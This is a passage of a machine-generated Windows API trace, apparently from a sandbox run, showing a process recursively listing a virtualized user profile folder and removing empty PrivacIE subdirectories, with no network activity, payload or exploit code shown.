pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz" [0110.615] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz") returned 103 [0110.615] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91cb0 [0110.615] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd8) returned 0x9a91ec0 [0110.615] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91fa0 [0110.615] PathCombineW (in: pszDest=0x9a91ec0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\*.*" [0110.615] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\*.*", lpFindFileData=0x9a91fa0 | out: lpFindFileData=0x9a91fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x7201d50 [0110.616] FindNextFileW (in: hFindFile=0x7201d50, lpFindFileData=0x9a91fa0 | out: lpFindFileData=0x9a91fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="..", cAlternateFileName="")) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x7201d50, lpFindFileData=0x9a91fa0 | out: lpFindFileData=0x9a91fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AppData", cAlternateFileName="")) returned 1 [0110.616] lstrlenW (lpString="AppData") returned 7 [0110.616] PathCombineW (in: pszDest=0x9a91cb0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz", pszFile="AppData" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData" [0110.616] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData") returned 111 [0110.616] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a92200 [0110.616] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xe8) returned 0x9a92410 [0110.616] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a92500 [0110.616] PathCombineW (in: pszDest=0x9a92410, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\*.*" [0110.616] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\*.*", lpFindFileData=0x9a92500 | out: lpFindFileData=0x9a92500*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7201cf0 [0110.616] FindNextFileW (in: hFindFile=0x7201cf0, lpFindFileData=0x9a92500 | out: lpFindFileData=0x9a92500*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x7201cf0, lpFindFileData=0x9a92500 | out: lpFindFileData=0x9a92500*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0110.616] lstrlenW (lpString="Roaming") returned 7 [0110.616] PathCombineW (in: pszDest=0x9a92200, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData", pszFile="Roaming" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming" [0110.616] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming") returned 119 [0110.616] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a92760 [0110.616] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a92970 [0110.616] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a92a70 [0110.616] PathCombineW (in: pszDest=0x9a92970, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\*.*" [0110.616] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\*.*", lpFindFileData=0x9a92a70 | out: lpFindFileData=0x9a92a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7201c90 [0110.616] FindNextFileW (in: hFindFile=0x7201c90, lpFindFileData=0x9a92a70 | out: lpFindFileData=0x9a92a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x7201c90, lpFindFileData=0x9a92a70 | out: lpFindFileData=0x9a92a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0110.617] lstrlenW (lpString="Microsoft") returned 9 [0110.617] PathCombineW (in: pszDest=0x9a92760, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming", pszFile="Microsoft" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft" [0110.617] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft") returned 129 [0110.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a92cd0 [0110.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10c) returned 0x9a92ee0 [0110.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a93000 [0110.617] PathCombineW (in: pszDest=0x9a92ee0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\*.*" [0110.617] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x9a93000 | out: lpFindFileData=0x9a93000*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x7201c30 [0110.617] FindNextFileW (in: hFindFile=0x7201c30, lpFindFileData=0x9a93000 | out: lpFindFileData=0x9a93000*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="..", cAlternateFileName="")) returned 1 [0110.617] FindNextFileW (in: hFindFile=0x7201c30, lpFindFileData=0x9a93000 | out: lpFindFileData=0x9a93000*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Windows", cAlternateFileName="")) returned 1 [0110.617] lstrlenW (lpString="Windows") returned 7 [0110.617] PathCombineW (in: pszDest=0x9a92cd0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Windows" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows" [0110.617] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows") returned 137 [0110.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a93260 [0110.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11c) returned 0x9a93470 [0110.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a935a0 [0110.617] PathCombineW (in: pszDest=0x9a93470, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\*.*" [0110.617] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x9a935a0 | out: lpFindFileData=0x9a935a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7201bd0 [0110.618] FindNextFileW (in: hFindFile=0x7201bd0, lpFindFileData=0x9a935a0 | out: lpFindFileData=0x9a935a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.618] FindNextFileW (in: hFindFile=0x7201bd0, lpFindFileData=0x9a935a0 | out: lpFindFileData=0x9a935a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0110.618] lstrlenW (lpString="PrivacIE") returned 8 [0110.618] PathCombineW (in: pszDest=0x9a93260, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="PrivacIE" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" [0110.618] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE") returned 146 [0110.618] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a93800 [0110.618] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x12e) returned 0x9a93a10 [0110.618] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a93b50 [0110.618] PathCombineW (in: pszDest=0x9a93a10, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*.*" [0110.618] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*.*", lpFindFileData=0x9a93b50 | out: lpFindFileData=0x9a93b50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7201b70 [0110.618] FindNextFileW (in: hFindFile=0x7201b70, lpFindFileData=0x9a93b50 | out: lpFindFileData=0x9a93b50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.618] FindNextFileW (in: hFindFile=0x7201b70, lpFindFileData=0x9a93b50 | out: lpFindFileData=0x9a93b50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0110.618] lstrlenW (lpString="Low") returned 3 [0110.618] PathCombineW (in: pszDest=0x9a93800, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low" [0110.618] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low") returned 150 [0110.618] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a93db0 [0110.619] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x136) returned 0x9a93fc0 [0110.619] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a94100 [0110.619] PathCombineW (in: pszDest=0x9a93fc0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*.*" [0110.619] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*.*", lpFindFileData=0x9a94100 | out: lpFindFileData=0x9a94100*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7201b10 [0110.619] FindNextFileW (in: hFindFile=0x7201b10, lpFindFileData=0x9a94100 | out: lpFindFileData=0x9a94100*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.619] FindNextFileW (in: hFindFile=0x7201b10, lpFindFileData=0x9a94100 | out: lpFindFileData=0x9a94100*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.619] FindClose (in: hFindFile=0x7201b10 | out: hFindFile=0x7201b10) returned 1 [0110.619] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94100 | out: hHeap=0x9770000) returned 1 [0110.619] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93fc0 | out: hHeap=0x9770000) returned 1 [0110.619] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93db0 | out: hHeap=0x9770000) returned 1 [0110.619] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\privacie\\low")) returned 1 [0110.619] FindNextFileW (in: hFindFile=0x7201b70, lpFindFileData=0x9a93b50 | out: lpFindFileData=0x9a93b50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0110.619] FindClose (in: hFindFile=0x7201b70 | out: hFindFile=0x7201b70) returned 1 [0110.619] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93b50 | out: hHeap=0x9770000) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93a10 | out: hHeap=0x9770000) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93800 | out: hHeap=0x9770000) returned 1 [0110.620] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\privacie")) returned 1 [0110.620] FindNextFileW (in: hFindFile=0x7201bd0, 